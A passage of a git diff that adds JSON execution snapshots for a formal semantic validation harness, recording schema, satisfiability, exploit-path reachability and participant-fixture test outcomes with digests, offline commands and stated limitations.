whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1365-execution-v56", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "55728f50c7e1e796650c13049e3bef8799240db4", + "source_state": { + "base_revision": "55728f50c7e1e796650c13049e3bef8799240db4", + "checkout_state": "modified", + "implementation_digest": "511704c3267769662412f0142f83df5a6203383c4f6e1d5cad7a4da58a64cb25", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v57.json b/docs/research/formal-semantic-validation/execution-snapshot-v57.json new file mode 100644 index 000000000..18e9617a1 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v57.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1365-execution-v56", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v56.json", + "release_revision": "57.0.0", + "release_sha256": "8fbba0b2167d7b72553a9baddeed76d3db52b525fcc672705e4520439a6ebd92" + }, + "captured_at": "2026-09-27T19:41:33.023883+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1365-execution-v57", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v57", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + 